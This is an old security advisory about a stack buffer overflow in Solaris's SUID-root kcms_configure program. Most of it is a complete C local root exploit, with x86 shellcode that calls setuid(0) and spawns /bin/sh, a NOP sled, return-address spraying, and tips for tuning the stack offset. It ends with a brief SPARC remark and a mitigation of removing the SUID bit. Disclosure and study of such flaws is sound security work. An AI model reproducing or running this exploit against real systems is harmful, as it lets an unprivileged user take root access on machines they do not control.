COMMAND

    /usr/openwin/bin/kcms_configure

SYSTEMS AFFECTED

    Solaris x86 2.x (including 2.7) (SPARC?)

PROBLEM

    Cheez Whiz found following.  It seems Sun's engineers indulged  in
    a little too much "holiday cheer" in years past, and plumb  forgot
    their good coding practices for privileged programs.  Yes readers,
    sprintf() and  stack buffers  in SUID  root programs  are a deadly
    cocktail.  Exploit follows:

    /**
    ***  kcmsex - i386 Solaris root exploit for /usr/openwin/bin/kcms_configure
    ***
    ***  Tested and confirmed under Solaris 2.6 i386
    ***
    ***  Usage:  % kcmsex [offset]
    ***
    ***  where offset (if present) is the number of bytes to add to the stack
    ***  pointer to calculate your target return address; try -1000 to 1000 in
    ***  increments of 100 for starters.  Thanks go to Sun for cranking out
    ***  such sloppy privileged code.  Keep those holes a coming, boys!
    ***
    ***  Cheez Whiz
    ***  cheezbeast@hotmail.com
    ***
    ***  December 17, 1998
    **/

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>

    #define BUFLEN 500
    #define NOP 0x90

    char shell[] =
    /*  0 */ "\xeb\x3b"                         /* jmp springboard       */
    /* syscall:                                                          */
    /*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
    /*  9 */ "\xc3"                             /* ret                   */
    /* start:                                                            */
    /* 10 */ "\x5e"                             /* popl %esi             */
    /* 11 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 13 */ "\x89\x46\xc1"                     /* movl %eax,-0x3f(%esi) */
    /* 16 */ "\x88\x46\xc6"                     /* movb %al,-0x3a(%esi)  */
    /* 19 */ "\x88\x46\x07"                     /* movb %al,0x7(%esi)    */
    /* 22 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
    /* setuid:                                                           */
    /* 25 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 27 */ "\x50"                             /* pushl %eax            */
    /* 28 */ "\xb0\x17"                         /* movb $0x17,%al        */
    /* 30 */ "\xe8\xdf\xff\xff\xff"             /* call syscall          */
    /* 35 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
    /* execve:                                                           */
    /* 38 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 40 */ "\x50"                             /* pushl %eax            */
    /* 41 */ "\x8d\x5e\x08"                     /* leal 0x8(%esi),%ebx   */
    /* 44 */ "\x53"                             /* pushl %ebx            */
    /* 45 */ "\x8d\x1e"                         /* leal (%esi),%ebx      */
    /* 47 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
    /* 50 */ "\x53"                             /* pushl %ebx            */
    /* 51 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
    /* 53 */ "\xe8\xc8\xff\xff\xff"             /* call syscall          */
    /* 58 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
    /* springboard:                                                      */
    /* 61 */ "\xe8\xc8\xff\xff\xff"             /* call start            */
    /* data:                                                             */
    /* 66 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
    /* 74 */ "\xff\xff\xff\xff"                 /* DATA                  */
    /* 78 */ "\xff\xff\xff\xff";                /* DATA                  */

    char buf[BUFLEN];
    unsigned long int nop, esp;
    long int offset = 0;

    unsigned long int
    get_esp()
    {
	__asm__("movl %esp,%eax");
    }

    void
    main (int argc, char *argv[])
    {
	int i;

	if (argc > 1)
	    offset = strtol(argv[1], NULL, 0);

	if (argc > 2)
	    nop = strtoul(argv[2], NULL, 0);
	else
	    nop = 285;

	esp = get_esp();

	memset(buf, NOP, BUFLEN);
	memcpy(buf+nop, shell, strlen(shell));
	for (i = nop+strlen(shell); i < BUFLEN-4; i += 4)
	    *((int *) &buf[i]) = esp+offset;

	printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n",
	       esp+offset, esp, offset, nop);
	execl("/usr/openwin/bin/kcms_configure", "kcms_configure", "-P", buf,
	      "foofoo", NULL);

	printf("exec failed!\n");
	return;
    }

    As for  SPARC exploit,  the only  difference is  that on SPARC the
    return address is pushed on the stack _after_ the auto area.  It's
    just sheer luck that there's only one call frame between main  and
    sprintf in kcms_configure.

SOLUTION

    Remove suid bit and wait for patch.